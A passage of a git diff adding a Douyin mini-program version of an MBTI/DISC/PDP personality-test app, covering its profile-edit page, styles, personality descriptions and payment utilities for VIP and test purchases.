fail: () => { + tt.hideLoading() + tt.showToast({ title: '上传失败', icon: 'none' }) + } + }) + }, + + onGetPhoneNumber(e) { + const { errMsg, code } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + tt.showToast({ title: '需要授权手机号才能获取', icon: 'none' }) + return + } + if (!code) { + tt.showToast({ title: '获取手机号失败', icon: 'none' }) + return + } + bindPhoneByCode(code).then((user) => { + this.setData({ phone: user.phone || '' }) + }).catch(() => {}) + }, + + onNicknameRowTap() { + this.setData({ nicknameFocused: true }) + }, + + onNicknameBlur() { + this.setData({ nicknameFocused: false }) + }, + + onNicknameChange(e) { + const nickname = (e?.detail?.value || '').trim() + const { avatarLetter, avatarBgColor } = this._avatarFromNickname(nickname || '我') + this.setData({ nickname, avatarLetter, avatarBgColor }) + }, + + onBirthdayChange(e) { + const birthday = (e?.detail?.value || '').trim() + this.setData({ birthday }) + }, + + onGenderChange(e) { + const idx = parseInt(e?.detail?.value, 10) || 0 + const gender = idx + const genderText = this.data.genderOptions[idx] || '保密' + this.setData({ gender, genderIndex: idx, genderText }) + }, + + onSave() { + const { nickname, birthday, gender, userInfo } = this.data + const profile = {} + const origNickname = (userInfo?.nickname || userInfo?.nickName || '').trim() + const origBirthday = userInfo?.birthday || '' + const origGender = (userInfo?.gender !== undefined && userInfo?.gender !== null) ? Number(userInfo.gender) : 0 + if (nickname !== origNickname) profile.nickname = nickname + if (birthday !== origBirthday) profile.birthday = birthday + if (gender !== origGender) profile.gender = gender + if (Object.keys(profile).length === 0) { + tt.showToast({ title: '暂无修改', icon: 'none' }) + return + } + this._saveProfile(profile) + }, + + _saveProfile(profile) { + if (!app.globalData.token || !profile || Object.keys(profile).length === 0) return + if (this.data.saving) return + this.setData({ saving: true }) + tt.showLoading({ title: '保存中...' }) + request({ + url: '/api/auth/douyin/profile', + method: 'PUT', + data: profile, + success: (res) => { + tt.hideLoading() + this.setData({ saving: false }) + const payload = res && res.data + if (payload && payload.code === 200) { + const updated = { ...(app.globalData.userInfo || {}), ...(payload.data || {}), ...profile } + if (profile.nickname !== undefined) updated.nickname = profile.nickname + if (profile.avatar !== undefined) updated.avatar = profile.avatar + if (profile.birthday !== undefined) updated.birthday = profile.birthday + if (profile.gender !== undefined) updated.gender = profile.gender + app.globalData.userInfo = updated + tt.setStorageSync('userInfo', updated) + tt.showToast({ title: '已保存', icon: 'success' }) + } else { + tt.showToast({ title: payload?.message || '保存失败', icon: 'none' }) + } + }, + fail: () => { + tt.hideLoading() + this.setData({ saving: false }) + tt.showToast({ title: '网络错误', icon: 'none' }) + } + }) + } +}) diff --git a/douyin-miniprogram/pages/user-profile/index.json b/douyin-miniprogram/pages/user-profile/index.json new file mode 100644 index 0000000..3e10246 --- /dev/null +++ b/douyin-miniprogram/pages/user-profile/index.json @@ -0,0 +1,4 @@ +{ + "navigationBarTitleText": "个人资料", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/user-profile/index.ttml b/douyin-miniprogram/pages/user-profile/index.ttml new file mode 100644 index 0000000..6e35056 --- /dev/null +++ b/douyin-miniprogram/pages/user-profile/index.ttml @@ -0,0 +1,66 @@ + + + + + + + 点击更换头像 + + + + 头像、昵称、手机号为必填项 + + + + + + 昵称 + + + + + + + 生日 + + {{birthday || '请选择生日'}} + + + + + + + + 性别 + + {{genderText}} + + + + + + + 手机号 + + + + + + + + diff --git a/douyin-miniprogram/pages/user-profile/index.ttss b/douyin-miniprogram/pages/user-profile/index.ttss new file mode 100644 index 0000000..edb6063 --- /dev/null +++ b/douyin-miniprogram/pages/user-profile/index.ttss @@ -0,0 +1,206 @@ +/* pages/user-profile/index.wxss */ +page { + background-color: #F9FAFB; +} + +.page { + min-height: 100vh; + padding: 32rpx; +} + +.profile-card { + background: #FFFFFF; + border-radius: 28rpx; + padding: 48rpx 36rpx; + box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); +} + +.avatar-section { + display: flex; + flex-direction: column; + align-items: center; + margin-bottom: 48rpx; +} + +.avatar-btn { + width: 160rpx !important; + height: 160rpx !important; + padding: 0 !important; + margin: 0 !important; + background: transparent !important; + border: none !important; +} + +.avatar-btn::after { + border: none !important; +} + +.avatar-img { + width: 160rpx; + height: 160rpx; + border-radius: 50%; + display: block; + border: 4rpx solid #F3F4F6; +} + +.avatar-letter-wrap { + width: 160rpx; + height: 160rpx; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + border: 4rpx solid #F3F4F6; +} + +.avatar-letter { + font-size: 72rpx; + font-weight: 700; + color: #FFFFFF; +} + +.avatar-hint { + font-size: 24rpx; + color: #9CA3AF; + margin-top: 16rpx; +} + +.required-tip { + font-size: 24rpx; + color: #9CA3AF; + margin-bottom: 24rpx; + padding: 0 4rpx; +} + +.form-section { + border-top: 1rpx solid #F3F4F6; +} + +.form-item { + display: flex; + align-items: center; + padding: 32rpx 0; + border-bottom: 1rpx solid #F3F4F6; +} + +.form-item:last-child { + border-bottom: none; +} + +.form-label { + width: 140rpx; + font-size: 28rpx; + color: #6B7280; + flex-shrink: 0; +} + +.form-input { + flex: 1; + font-size: 30rpx; + color: #111827; + min-width: 0; +} + +.form-picker { + flex: 1; + font-size: 30rpx; + color: #111827; + min-width: 0; +} + +.form-value { + font-size: 30rpx; + color: #111827; +} + +.form-placeholder { + color: #9CA3AF; +} + +.form-readonly { + color: #9CA3AF; +} + +.form-picker { + display: flex; + align-items: center; + justify-content: space-between; + width: 100%; +} + +.form-arrow { + font-size: 36rpx; + color: #D1D5DB; + margin-left: 16rpx; + flex-shrink: 0; +} + +/* 整行可点击 */ +.form-item-tappable { + cursor: pointer; +} + +.form-item-tappable:active { + background: #F9FAFB; +} + +.form-item-readonly { + /* 仅展示,点击有提示 */ +} + +.form-item-readonly:active { + background: #F9FAFB; +} + +/* 手机号授权按钮 */ +.form-item-phone-auth { + padding: 0; +} + +.phone-auth-btn { + flex: 1; + display: flex; + align-items: center; + justify-content: space-between; + padding: 32rpx 0; + margin: 0; + background: transparent; + border: none; + text-align: left; +} + +.phone-auth-btn::after { + border: none; +} + +.phone-auth-text { + font-size: 30rpx; + color: #7C3AED; + font-weight: 500; +} + +.picker-full-row { + display: block; + width: 100%; +} + +/* 保存按钮 */ +.save-btn { + width: 100%; + margin-top: 48rpx; + padding: 28rpx; + font-size: 32rpx; + font-weight: 600; + color: #FFFFFF; + background: linear-gradient(135deg, #7C3AED 0%, #6366F1 100%); + border-radius: 16rpx; + border: none; +} + +.save-btn::after { + border: none; +} + +.save-btn[disabled] { + opacity: 0.6; +} diff --git a/douyin-miniprogram/project.tt.json b/douyin-miniprogram/project.tt.json new file mode 100644 index 0000000..60f9a77 --- /dev/null +++ b/douyin-miniprogram/project.tt.json @@ -0,0 +1,15 @@ +{ + "miniprogramRoot": ".", + "projectname": "mbti-douyin", + "description": "MBTI/DISC/PDP性格测试系统 - 抖音小程序版", + "appid": "YOUR_DOUYIN_APPID", + "setting": { + "urlCheck": false, + "es6": true, + "postcss": true, + "minified": true, + "autoCompileOnSave": true + }, + "compileType": "miniprogram", + "condition": {} +} diff --git a/douyin-miniprogram/utils/descriptions.js b/douyin-miniprogram/utils/descriptions.js new file mode 100644 index 0000000..bc2a9df --- /dev/null +++ b/douyin-miniprogram/utils/descriptions.js @@ -0,0 +1,44 @@ +// utils/descriptions.js - 测试结果描述 + +// MBTI类型描述 +const mbtiDescriptions = { + ISTJ: { type: "ISTJ", name: "检查员", category: "守护者", description: "务实、负责、可靠的传统主义者", strengths: ["可靠负责", "注重细节", "有条理"], weaknesses: ["可能过于固执", "不喜变化"], careers: ["会计师", "审计师", "项目经理"] }, + ISFJ: { type: "ISFJ", name: "保护者", category: "守护者", description: "安静、友好、负责任的守护者", strengths: ["忠诚体贴", "观察力强", "耐心"], weaknesses: ["不善拒绝", "过于谦虚"], careers: ["护士", "教师", "行政"] }, + INFJ: { type: "INFJ", name: "提倡者", category: "理想主义者", description: "寻求意义和联系的理想主义者", strengths: ["洞察力强", "有远见", "坚定"], weaknesses: ["过于理想化", "容易疲惫"], careers: ["心理咨询", "作家", "人力资源"] }, + INTJ: { type: "INTJ", name: "建筑师", category: "理想主义者", description: "独立、有战略眼光的思考者", strengths: ["战略思维", "独立自信", "意志坚定"], weaknesses: ["可能傲慢", "过于苛刻"], careers: ["战略顾问", "科学家", "架构师"] }, + ISTP: { type: "ISTP", name: "鉴赏家", category: "探险家", description: "灵活、务实的问题解决者", strengths: ["适应力强", "动手能力", "冷静"], weaknesses: ["可能冷漠", "不善表达"], careers: ["工程师", "技术员", "飞行员"] }, + ISFP: { type: "ISFP", name: "探险家", category: "探险家", description: "温和、敏感的艺术家", strengths: ["创造力", "同理心", "灵活"], weaknesses: ["过于敏感", "避免冲突"], careers: ["设计师", "艺术家", "摄影师"] }, + INFP: { type: "INFP", name: "调停者", category: "理想主义者", description: "理想主义、忠诚的调解者", strengths: ["创造力", "同理心", "真诚"], weaknesses: ["过于理想化", "情绪化"], careers: ["作家", "心理咨询", "社工"] }, + INTP: { type: "INTP", name: "逻辑学家", category: "理想主义者", description: "创新、逻辑的思考者", strengths: ["逻辑思维", "创新能力", "客观"], weaknesses: ["可能孤僻", "忽视情感"], careers: ["程序员", "研究员", "分析师"] }, + ESTP: { type: "ESTP", name: "企业家", category: "探险家", description: "精力充沛、务实的行动者", strengths: ["果断", "务实", "善于应变"], weaknesses: ["可能冲动", "缺乏耐心"], careers: ["销售", "企业家", "运动员"] }, + ESFP: { type: "ESFP", name: "表演者", category: "探险家", description: "热情、友好的社交达人", strengths: ["热情友好", "乐观", "灵活"], weaknesses: ["可能肤浅", "容易分心"], careers: ["演员", "销售", "主持人"] }, + ENFP: { type: "ENFP", name: "竞选者", category: "理想主义者", description: "热情、有创造力的社交者", strengths: ["创造力", "热情", "善于沟通"], weaknesses: ["可能不切实际", "缺乏专注"], careers: ["市场营销", "记者", "顾问"] }, + ENTP: { type: "ENTP", name: "辩论家", category: "理想主义者", description: "聪明、好奇的思想家", strengths: ["创新能力", "辩论能力", "适应力"], weaknesses: ["可能争辩", "不善执行"], careers: ["律师", "企业家", "咨询"] }, + ESTJ: { type: "ESTJ", name: "总经理", category: "守护者", description: "务实、果断的组织者", strengths: ["领导力", "组织能力", "务实"], weaknesses: ["可能专制", "不够灵活"], careers: ["管理者", "项目经理", "律师"] }, + ESFJ: { type: "ESFJ", name: "执政官", category: "守护者", description: "热心、合作的支持者", strengths: ["关心他人", "负责任", "善于合作"], weaknesses: ["过于在意评价", "不善拒绝"], careers: ["教师", "护士", "人力资源"] }, + ENFJ: { type: "ENFJ", name: "主人公", category: "理想主义者", description: "有魅力、鼓舞人心的领导者", strengths: ["领导力", "同理心", "说服力"], weaknesses: ["过于理想化", "过度付出"], careers: ["培训师", "顾问", "教师"] }, + ENTJ: { type: "ENTJ", name: "指挥官", category: "理想主义者", description: "大胆、有远见的领导者", strengths: ["领导力", "战略思维", "果断"], weaknesses: ["可能专制", "不耐烦"], careers: ["CEO", "企业家", "律师"] } +} + +// DISC类型描述 +const discDescriptions = { + D: { type: "D型", title: "支配型", color: "#EF4444", description: "天生的领导者,注重结果和效率", strengths: ["决断力强", "目标导向", "行动迅速"], weaknesses: ["可能过于强势", "缺乏耐心"], careers: ["企业高管", "创业者", "项目经理"] }, + I: { type: "I型", title: "影响型", color: "#F59E0B", description: "热情友好,善于社交和表达", strengths: ["善于沟通", "乐观积极", "创意丰富"], weaknesses: ["可能过于乐观", "注意力分散"], careers: ["市场营销", "公关", "培训师"] }, + S: { type: "S型", title: "稳健型", color: "#10B981", description: "稳重可靠,注重团队和谐", strengths: ["可靠稳定", "团队协作", "耐心倾听"], weaknesses: ["可能抗拒变化", "决策较慢"], careers: ["人力资源", "客户服务", "行政"] }, + C: { type: "C型", title: "谨慎型", color: "#3B82F6", description: "注重细节和准确性,追求完美", strengths: ["分析能力强", "注重细节", "准确严谨"], weaknesses: ["可能过于完美主义", "决策较慢"], careers: ["数据分析", "工程师", "会计师"] } +} + +// PDP类型描述 +const pdpDescriptions = { + Tiger: { type: "老虎型", emoji: "🐅", title: "支配者", color: "#F59E0B", description: "天生的领导者,具有强烈的目标导向和执行力", strengths: ["决断力强", "目标导向", "行动迅速"], weaknesses: ["可能过于强势", "缺乏耐心"], careers: ["企业高管", "创业者", "项目经理"], teamRole: "适合担任领导者角色" }, + Peacock: { type: "孔雀型", emoji: "🦚", title: "表现者", color: "#8B5CF6", description: "热情友好,善于表达和社交", strengths: ["善于沟通", "乐观积极", "影响力强"], weaknesses: ["可能过于乐观", "注意力分散"], careers: ["市场营销", "公关", "培训师"], teamRole: "适合担任激励者和调解者角色" }, + Koala: { type: "考拉型", emoji: "🐨", title: "支持者", color: "#10B981", description: "稳重可靠,注重团队和谐", strengths: ["可靠稳定", "团队协作", "善解人意"], weaknesses: ["可能抗拒变化", "决策较慢"], careers: ["人力资源", "客户服务", "教师"], teamRole: "适合担任协调者和支持者角色" }, + Owl: { type: "猫头鹰型", emoji: "🦉", title: "分析者", color: "#3B82F6", description: "注重细节和准确性,追求完美", strengths: ["分析能力强", "注重细节", "系统思维"], weaknesses: ["可能过于完美主义", "不善社交"], careers: ["数据分析师", "工程师", "研究员"], teamRole: "适合担任专家和质量控制者角色" }, + Chameleon: { type: "变色龙型", emoji: "🦎", title: "整合者", color: "#06B6D4", description: "适应能力强,能在不同情境中灵活调整", strengths: ["适应力强", "灵活多变", "平衡能力"], weaknesses: ["可能缺乏主见", "身份认同模糊"], careers: ["咨询顾问", "协调员", "自由职业者"], teamRole: "适合担任协调者和多面手角色" } +} + +module.exports = { + mbtiDescriptions, + discDescriptions, + pdpDescriptions +} diff --git a/douyin-miniprogram/utils/payment.js b/douyin-miniprogram/utils/payment.js new file mode 100644 index 0000000..7adf9a7 --- /dev/null +++ b/douyin-miniprogram/utils/payment.js @@ -0,0 +1,532 @@ +// douyin-miniprogram/utils/payment.js +// 抖音支付工具类 - 从微信版移植 +// 后端需实现 /api/payment/create 返回 { order_id, order_token } 用于 tt.pay + +const app = getApp() + +/** + * 生成订单号 + * 规则:前缀+时间戳+随机数,最长64位(抖音限制比微信宽松) + */ +function generateOrderId(productType) { + const now = new Date() + const pad = (n, len = 2) => String(n).padStart(len, '0') + const prefixMap = { + face: 'FACE', + mbti: 'MBTI', + disc: 'DISC', + pdp: 'PDP', + report: 'REPT', + team_analysis: 'TEAM', + vip: 'VIP', + test_count: 'TNUM', + single_test: 'TSGL', + recharge: 'RCG', + deep_personal: 'DPER', + deep_team: 'DTEAM' + } + + const prefix = prefixMap[productType] || (productType || 'ORD').toUpperCase().slice(0, 6) + const dateStr = + now.getFullYear().toString() + + pad(now.getMonth() + 1) + + pad(now.getDate()) + + pad(now.getHours()) + + pad(now.getMinutes()) + + pad(now.getSeconds()) + + const rand = pad(Math.floor(Math.random() * 1000), 3) + const raw = `${prefix}${dateStr}${rand}` + + return raw.length > 64 ? raw.slice(0, 64) : raw +} + +/** + * 发起抖音支付 + * 流程:后端创建订单 → 返回 order_id + order_token → tt.pay 调起收银台 + * 后端需实现 /api/payment/create 接口,当 paymentMethod='douyin' 时返回: + * { order_id: 'xxx', order_token: 'xxx' } + */ +function douyinPay(options) { + const { orderId, amount = 0, description, productType, testResultId, deepProductId, enterpriseId, success, fail } = options + + tt.showLoading({ + title: '正在支付...', + mask: true + }) + + tt.request({ + url: `${app.globalData.apiBase}/api/payment/create`, + method: 'POST', + header: { + 'Authorization': `Bearer ${tt.getStorageSync('token')}`, + 'Content-Type': 'application/json' + }, + data: { + orderId, + amount, + description, + productType, + paymentMethod: 'douyin', + openId: app.globalData.openId || '', + enterpriseId: enterpriseId || 0, + testResultId: testResultId || 0, + deepProductId: deepProductId || '' + }, + success: (res) => { + tt.hideLoading() + + if (res.statusCode === 200 && res.data.code === 200) { + const paymentData = res.data.data + + tt.pay({ + orderInfo: { + order_id: paymentData.order_id, + order_token: paymentData.order_token + }, + service: 5, + success: (payRes) => { + console.log('抖音支付回调', payRes) + + if (payRes.code === 0) { + pollOrderStatus(orderId, 5, 1000, (ok, order) => { + if (ok) { + tt.showToast({ + title: '支付成功', + icon: 'success', + duration: 2000 + }) + success && success({ payRes, order }) + } else { + tt.showToast({ + title: '支付结果处理中,请稍后查看', + icon: 'none', + duration: 2500 + }) + success && success({ payRes, order: null }) + } + }) + } else if (payRes.code === 4) { + tt.showToast({ + title: '支付已取消', + icon: 'none' + }) + fail && fail(payRes) + } else if (payRes.code === 9) { + pollOrderStatus(orderId, 5, 1500, (ok, order) => { + if (ok) { + tt.showToast({ title: '支付成功', icon: 'success', duration: 2000 }) + success && success({ payRes, order }) + } else { + tt.showToast({ title: '支付结果待确认,请稍后查看', icon: 'none', duration: 2500 }) + fail && fail(payRes) + } + }) + } else { + tt.showToast({ + title: '支付失败', + icon: 'none' + }) + fail && fail(payRes) + } + }, + fail: (payErr) => { + console.error('抖音支付失败', payErr) + tt.showToast({ + title: '支付失败', + icon: 'none' + }) + fail && fail(payErr) + } + }) + } else { + tt.showToast({ + title: res.data.message || '创建订单失败', + icon: 'none' + }) + fail && fail(res) + } + }, + fail: (err) => { + tt.hideLoading() + console.error('请求失败', err) + tt.showToast({ + title: '网络请求失败', + icon: 'none' + }) + fail && fail(err) + } + }) +} + +function notifyPaymentSuccess(orderId, prepayId) { + tt.request({ + url: `${app.globalData.apiBase}/api/payment/notify`, + method: 'POST', + header: { + 'Authorization': `Bearer ${tt.getStorageSync('token')}`, + 'Content-Type': 'application/json' + }, + data: { + orderId, + prepayId, + status: 'success' + }, + success: (res) => { + console.log('支付通知成功', res) + }, + fail: (err) => { + console.error('支付通知失败', err) + } + }) +} + +function queryOrderStatus(orderId, callback) { + tt.request({ + url: `${app.globalData.apiBase}/api/payment/query`, + method: 'GET', + header: { + 'Authorization': `Bearer ${tt.getStorageSync('token')}` + }, + data: { orderId }, + success: (res) => { + if (res.statusCode === 200 && res.data.code === 200) { + callback && callback(true, res.data.data) + } else { + callback && callback(false, null) + } + }, + fail: () => { + callback && callback(false, null) + } + }) +} + +function pollOrderStatus(orderId, maxAttempts = 5, intervalMs = 1000, done) { + let attempts = 0 + + const tick = () => { + attempts += 1 + queryOrderStatus(orderId, (ok, order) => { + if (ok && order && (order.status === 'paid' || order.status === 'completed')) { + done && done(true, order) + return + } + if (attempts >= maxAttempts) { + done && done(false, order || null) + return + } + setTimeout(tick, intervalMs) + }) + } + + tick() +} + +function purchaseVIP(vipType, success, fail) { + const prices = { + month: 1990, + quarter: 4990, + year: 9900, + lifetime: 19900, + personal_insight: 19800 + } + + const names = { + month: '月度VIP会员', + quarter: '季度VIP会员', + year: '年度VIP会员', + lifetime: '终身VIP会员', + personal_insight: '个人深度洞察版' + } + + const orderId = generateOrderId('vip') + + douyinPay({ + orderId, + amount: prices[vipType], + description: `MBTI性格测试 - ${names[vipType]}`, + productType: 'vip', + success: (res) => { + updateVIPStatus(vipType) + success && success(res) + }, + fail + }) +} + +function purchaseTestCount(count, success, fail) { + let price = count * 390 + if (count >= 10) price = Math.floor(count * 290) + if (count >= 50) price = Math.floor(count * 198) + + const orderId = generateOrderId('test_count') + + douyinPay({ + orderId, + amount: price, + description: `MBTI性格测试 - ${count}次测试次数`, + productType: 'test_count', + success: (res) => { + addTestCount(count) + success && success(res) + }, + fail + }) +} + +function purchaseSingleTest(testType, success, fail) { + const prices = { + mbti: 990, + disc: 690, + pdp: 690, + ai: 1990 + } + + const names = { + mbti: 'MBTI性格测试', + disc: 'DISC行为风格测试', + pdp: 'PDP动物性格测试', + ai: '性格分析' + } + + const orderId = generateOrderId(`single_${testType}`) + + douyinPay({ + orderId, + amount: prices[testType], + description: names[testType], + productType: 'single_test', + success: (res) => { + unlockTest(testType) + success && success(res) + }, + fail + }) +} + +function purchaseByPricing(productType, description, extra, maybeFail) { + let opts = {} + if (typeof extra === 'function' || extra === undefined) { + opts.success = extra + opts.fail = maybeFail + } else { + opts = extra || {} + } + + const { testResultId, success, fail } = opts + const orderId = generateOrderId(productType) + + douyinPay({ + orderId, + amount: 0, + description, + productType, + testResultId, + success, + fail + }) +} + +function purchaseFaceTest(arg1, arg2) { + let opts = {} + if (typeof arg1 === 'function' || arg1 === undefined) { + opts.success = arg1 + opts.fail = arg2 + } else { + opts = arg1 || {} + } + const { testResultId, success, fail } = opts + purchaseByPricing('face', '性格分析完整报告', { testResultId, success, fail }) +} + +function purchaseMbtiTest(arg1, arg2) { + const opts = typeof arg1 === 'function' || arg1 == null ? { success: arg1, fail: arg2 } : (arg1 || {}) + const { testResultId, success, fail } = opts + purchaseByPricing('mbti', 'MBTI性格测试付费版', { testResultId, success, fail }) +} + +function purchaseDiscTest(arg1, arg2) { + const opts = typeof arg1 === 'function' || arg1 == null ? { success: arg1, fail: arg2 } : (arg1 || {}) + const { testResultId, success, fail } = opts + purchaseByPricing('disc', 'DISC行为风格测试付费版', { testResultId, success, fail }) +} + +function purchasePdpTest(arg1, arg2) { + const opts = typeof arg1 === 'function' || arg1 == null ? { success: arg1, fail: arg2 } : (arg1 || {}) + const { testResultId, success, fail } = opts + purchaseByPricing('pdp', 'PDP动物性格测试付费版', { testResultId, success, fail }) +} + +function purchaseResumeAnalysis(arg1, arg2) { + const opts = typeof arg1 === 'function' || arg1 == null ? { success: arg1, fail: arg2 } : (arg1 || {}) + const { testResultId, success, fail } = opts + purchaseByPricing('resume', '简历综合分析付费版', { testResultId, success, fail }) +} + +function purchaseFullReport(success, fail) { + purchaseByPricing('report', '完整人格与职业发展报告', success, fail) +} + +function purchaseTeamAnalysis(success, fail) { + purchaseByPricing('team_analysis', '团队性格组合与冲突分析服务', success, fail) +} + +function recharge(arg1, arg2, arg3) { + const opts = (typeof arg1 === 'object' && arg1 !== null) + ? arg1 + : { amountYuan: arg1, success: arg2, fail: arg3 } + const safeAmount = Number(opts.amountYuan) || 0 + const amount = Math.round(safeAmount * 100) + const orderId = generateOrderId('recharge') + + douyinPay({ + orderId, + amount, + description: `账户充值 ¥${safeAmount.toFixed(2)}`, + productType: 'recharge', + enterpriseId: opts.enterpriseId || 0, + success: opts.success, + fail: opts.fail + }) +} + +function purchasePersonalDeepService(arg1, arg2, arg3) { + let deepProductId = '' + let description = '' + let success + let fail + + if (typeof arg1 === 'object' && arg1 !== null) { + deepProductId = arg1.deepProductId || '' + description = arg1.description || '' + success = arg1.success + fail = arg1.fail + } else { + deepProductId = typeof arg1 === 'string' ? arg1 : '' + success = arg2 + fail = arg3 + } + + const desc = description || '个人深度服务(1v1深度解读)' + const orderId = generateOrderId('deep_personal') + + douyinPay({ + orderId, + amount: 0, + description: desc, + productType: 'deep_personal', + deepProductId, + success, + fail + }) +} + +function purchaseTeamDeepService(success, fail) { + const orderId = generateOrderId('deep_team') + + douyinPay({ + orderId, + amount: 0, + description: '团队深度服务(团队画像+策略)', + productType: 'deep_team', + success, + fail + }) +} + +function updateVIPStatus(vipType) { + const durations = { + month: 30, + quarter: 90, + year: 365, + lifetime: 36500 + } + + const expireDate = new Date() + expireDate.setDate(expireDate.getDate() + durations[vipType]) + + const vipInfo = { + isVIP: true, + vipType, + expireDate: expireDate.toISOString(), + purchaseDate: new Date().toISOString() + } + + tt.setStorageSync('vipInfo', vipInfo) + app.globalData.vipInfo = vipInfo +} + +function addTestCount(count) { + const currentCount = tt.getStorageSync('testCount') || 0 + const newCount = currentCount + count + tt.setStorageSync('testCount', newCount) + app.globalData.testCount = newCount +} + +function unlockTest(testType) { + const unlockedTests = tt.getStorageSync('unlockedTests') || [] + if (!unlockedTests.includes(testType)) { + unlockedTests.push(testType) + tt.setStorageSync('unlockedTests', unlockedTests) + } + app.globalData.unlockedTests = unlockedTests +} + +function checkVIP() { + const vipInfo = tt.getStorageSync('vipInfo') + if (!vipInfo || !vipInfo.isVIP) return false + + const expireDate = new Date(vipInfo.expireDate) + return expireDate > new Date() +} + +function canTakeTest(testType) { + return true +} + +function consumeTestCount() { + const testCount = tt.getStorageSync('testCount') || 0 + if (testCount > 0) { + tt.setStorageSync('testCount', testCount - 1) + app.globalData.testCount = testCount - 1 + return true + } + return false +} + +function getUserBenefits() { + return { + isVIP: checkVIP(), + vipInfo: tt.getStorageSync('vipInfo') || null, + testCount: tt.getStorageSync('testCount') || 0, + unlockedTests: tt.getStorageSync('unlockedTests') || [] + } +} + +module.exports = { + douyinPay, + queryOrderStatus, + pollOrderStatus, + generateOrderId, + purchaseVIP, + purchaseTestCount, + purchaseSingleTest, + purchaseFaceTest, + purchaseMbtiTest, + purchaseDiscTest, + purchasePdpTest, + purchaseResumeAnalysis, + purchaseFullReport, + purchaseTeamAnalysis, + recharge, + purchasePersonalDeepService, + purchaseTeamDeepService, + checkVIP, + canTakeTest, + consumeTestCount, + getUserBenefits, + updateVIPStatus, + addTestCount, + unlockTest +} diff --git a/douyin-miniprogram/utils/phoneAuth.js b/douyin-miniprogram/utils/phoneAuth.js new file mode 100644 index 0000000..243bae3 --- /dev/null +++ b/douyin-miniprogram/utils/phoneAuth.js @@ -0,0 +1,101 @@ +/** + * 手机号授权工具(抖音版) + * 抖音小程序同样支持 + + diff --git a/miniprogram/pages/index/camera.wxss b/miniprogram/pages/index/camera.wxss index 60525fb..5430ea3 100644 --- a/miniprogram/pages/index/camera.wxss +++ b/miniprogram/pages/index/camera.wxss @@ -1,312 +1,312 @@ -/* pages/index/camera.wxss - 一屏内展示,为底部自定义 tabBar(含中间浮起圆钮)预留空间 */ -.container { - width: 100%; - height: 100vh; - height: 100dvh; - box-sizing: border-box; - display: flex; - flex-direction: column; - overflow: hidden; - background-color: #fff; - /* 预留底部空间,避免与自定义 tabBar(约 100rpx 高 + 中间圆钮上浮约 56rpx)重叠 */ - padding-bottom: calc(160rpx + env(safe-area-inset-bottom)); -} - -.progress-section { - flex-shrink: 0; - margin: 16rpx 24rpx 0; - padding: 20rpx 32rpx 16rpx; - border-radius: 10rpx; - background: linear-gradient(to right, #fff5f5, #ffe5e8); -} - -.progress-info { - display: flex; - align-items: center; - justify-content: space-between; - margin-bottom: 10rpx; -} - -.step-text { - font-size: 26rpx; - font-weight: 600; - color: #e63946; -} - -.photo-count { - font-size: 22rpx; - color: #999; -} - -.progress-bars { - display: flex; - gap: 12rpx; - margin-bottom: 12rpx; -} - -.progress-bar { - flex: 1; - height: 6rpx; - border-radius: 6rpx; -} - -.progress-bar.completed { - background-color: #52c41a; -} - -.progress-bar.pending { - background-color: #e5e5e5; -} - -.instruction-card { - background: rgba(255, 255, 255, 0.9); - border-radius: 12rpx; - padding: 14rpx 18rpx; - border: 1rpx solid rgba(230, 57, 70, 0.1); -} - -.instruction-content { - display: flex; - align-items: center; - gap: 12rpx; -} - -.step-number { - width: 40rpx; - height: 40rpx; - flex-shrink: 0; - border-radius: 50%; - background-color: #e63946; - color: #fff; - font-size: 24rpx; - font-weight: bold; - display: flex; - align-items: center; - justify-content: center; -} - -.instruction-text { - flex: 1; - min-width: 0; - display: flex; - flex-direction: column; - gap: 2rpx; -} - -.angle-text { - font-size: 26rpx; - font-weight: 600; - color: #c41d2a; -} - -.tip-text { - font-size: 22rpx; - color: #666; - line-height: 1.3; -} - -.camera-container { - flex: 1; - min-height: 0; - padding: 16rpx 24rpx; - box-sizing: border-box; - display: flex; - align-items: center; - justify-content: center; -} - -.camera-preview { - width: 100%; - max-width: 100%; - max-height: 100%; - aspect-ratio: 1; - border-radius: 32rpx; - overflow: hidden; - border: 6rpx solid #e5e5e5; - background-color: #000; - position: relative; -} - -.camera { - position: absolute; - top: 0; - left: 0; - width: 100%; - height: 100%; -} - -.photos-preview { - width: 100%; - height: 100%; - min-height: 0; - display: flex; - flex-direction: row; - align-items: center; - justify-content: center; - gap: 12rpx; -} - -.photo-item { - position: relative; - flex: 1; - min-width: 0; - height: 100%; - max-height: 100%; - border-radius: 16rpx; - overflow: hidden; - border: 4rpx solid #e5e5e5; -} - -.photo-image { - position: absolute; - top: 0; - left: 0; - width: 100%; - height: 100%; - object-fit: cover; -} - -.photo-label { - position: absolute; - top: 8rpx; - left: 8rpx; - background: rgba(230, 57, 70, 0.9); - color: #fff; - font-size: 20rpx; - font-weight: 600; - padding: 4rpx 12rpx; - border-radius: 12rpx; -} - -.button-container { - flex-shrink: 0; - padding: 16rpx 24rpx 0; - display: flex; - justify-content: center; - align-items: center; -} - -.capture-actions { - width: 100%; - display: flex; - flex-direction: column; - align-items: center; - gap: 20rpx; -} - -.capture-actions .capture-button { - width: 100%; -} - -.album-button { - width: 100%; - padding: 20rpx; - border-radius: 50rpx; - text-align: center; - background: #fff; - border: 2rpx solid #e63946; - box-sizing: border-box; -} - -.album-button:active { - background: #fff5f5; -} - -.album-button-text { - font-size: 28rpx; - font-weight: 600; - color: #e63946; - letter-spacing: 1rpx; -} - -.phone-auth-section { - padding: 24rpx 24rpx 0; - display: flex; - flex-direction: column; - gap: 16rpx; -} - -.phone-auth-tip { - font-size: 26rpx; - color: #4b5563; -} - -.phone-auth-btn { - height: 80rpx; - line-height: 80rpx; - border-radius: 40rpx; - background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); - color: #ffffff; - font-size: 28rpx; -} - -.phone-auth-btn::after { - border: none; -} - -.capture-button { - width: 100%; - max-width: 100%; - padding: 22rpx; - background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); - border-radius: 50rpx; - text-align: center; - box-sizing: border-box; - box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); -} - -.button-text { - font-size: 30rpx; - font-weight: 700; - color: #fff; - letter-spacing: 1rpx; -} - -.action-buttons { - display: flex; - gap: 20rpx; - width: 100%; -} - -.action-button { - flex: 1; - padding: 28rpx 24rpx; - border-radius: 50rpx; - text-align: center; - 